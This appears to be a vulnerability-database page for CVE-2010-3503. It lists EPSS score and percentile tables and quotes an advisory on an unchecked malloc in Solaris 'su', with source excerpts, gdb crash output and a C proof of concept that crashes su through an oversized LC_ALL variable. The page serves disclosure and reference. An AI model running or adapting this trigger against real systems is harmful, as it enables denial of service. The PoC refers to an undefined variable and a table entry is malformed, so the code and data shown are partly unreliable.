CVE-2010-3503 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.73%	–	–
2022-02-13	–	–	1.73%	–	–
2022-04-03	–	–	1.73%	–	–
2022-06-19	–	–	1.73%	–	–
2022-10-30	–	–	1.73%	–	–
2022-11-20	–	–	1.73%	–	–
2022-11-27	–	–	1.73%	–	–
2023-01-01	–	–	1.73%	–	–
2023-01-15	–	–	1.73%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2024-12-22	–	–	–	0.18%	–
2025-03-02	–	–	–	0.18%	–
2025-01-19	–	–	–	0.18%	–
2025-03-09	–	–	–	0.18%	–
2025-03-18	–	–	–	–	0.89%
2025-03-30	–	–	–	–	0.78%
2025-04-15	–	–	–	–	0.78%
2025-04-15	–	–	–	–	0.78,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	53%
2022-02-13	54%
2022-04-03	74%
2022-06-19	75%
2022-10-30	76%
2022-11-20	75%
2022-11-27	76%
2023-01-01	75%
2023-01-15	76%
2023-03-12	–
2024-06-02	–
2024-12-22	55%
2025-03-02	56%
2025-01-19	55%
2025-03-09	56%
2025-03-18	74%
2025-03-30	71%
2025-04-15	72%
2025-04-15	72%

From http://cvs.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/su/su.c 521 for (j = 0; initenv[j] != 0; j++) { [1] 522 if (initvar = getenv(initenv[j])) { [2] ... 535 } else { 536 var = (char *) 537 malloc(strlen(initenv[j]) [3] 538 + strlen(initvar) 539 + 2); 540 (void) strcpy(var, initenv[j]); [4] 'su' when creating new environment from inherited environment inherits values defined such as LC_ALL and TZ, the call at [1] walks over an array of values to inherit and then at [2] when it finds one it does some checks if its not TZ= e.g. LC_ALL it passes the variable into a controllable malloc() [3] WITH NO CHECKING ON RETURNED VALUE, this means if malloc() fails it could return 0x0 and pass to strcpy() at [4] introducing a null ptr vulnerability in 'su'. Program terminated with signal 11, Segmentation fault. #0 0xd1244734 in ?? () (gdb) x/i $pc 0xd1244734: mov %eax,(%edi) (gdb) i r $eax eax 0x415f434c 1096762188 <- OUR STRING (gdb) i r $edi edi 0x0 0 <- NULL PTR Incurred fault #6, FLTBOUNDS %pc = 0xD1244734 siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000 Received signal #11, SIGSEGV [default] siginfo: SIGSEGV SEGV_MAPERR addr=0x00000000 ----[ PoC trigger 'su' as you. /* Sun Solaris <= 10 'su' NULL pointer exploit =========================================== because these are so 2009 now. I would exploit this but my name is not spender or raptor. Sun do not check a call to malloc() when handling environment variables in 'su' code. They also don't check passwords when using telnet so who cares? You have to enter your local user pass to see this bug. Enjoy! admin@sundevil:~/suid$ ./x [ SunOS 5.11 'su' null ptr PoC Password: Segmentation Fault -- prdelka */ #include <stdio.h> #include <stdlib.h> #include <sys/resource.h> #include <sys/fcntl.h> #include <sys/types.h> #include <sys/mman.h> struct { rlim_t rlim_cur; /* current (soft) limit */ rlim_t rlim_max; /* hard limit */ } rlimit; int main(int argc,char *argv[]){ int fd; struct rlimit* rlp = malloc(sizeof(rlimit)); getrlimit(RLIMIT_DATA,rlp); char* buf1 = malloc(300000); memset(buf1,'A',300000); long buf2 = (long)buf1 + 299999; memset((char*)buf2,0,1); memcpy(buf1,"LC_ALL=",7); rlp->rlim_cur = 16400; setrlimit(RLIMIT_DATA,rlp); char* env[] = {buf1,file,NULL}; char* args[] = {"su","-",getlogin(),NULL}; printf("[ SunOS 5.11 'su' null ptr PoC\n"); execve("/usr/bin/su",args,env); } // This was disclosed and patched in October 2010, CVE-2010-3503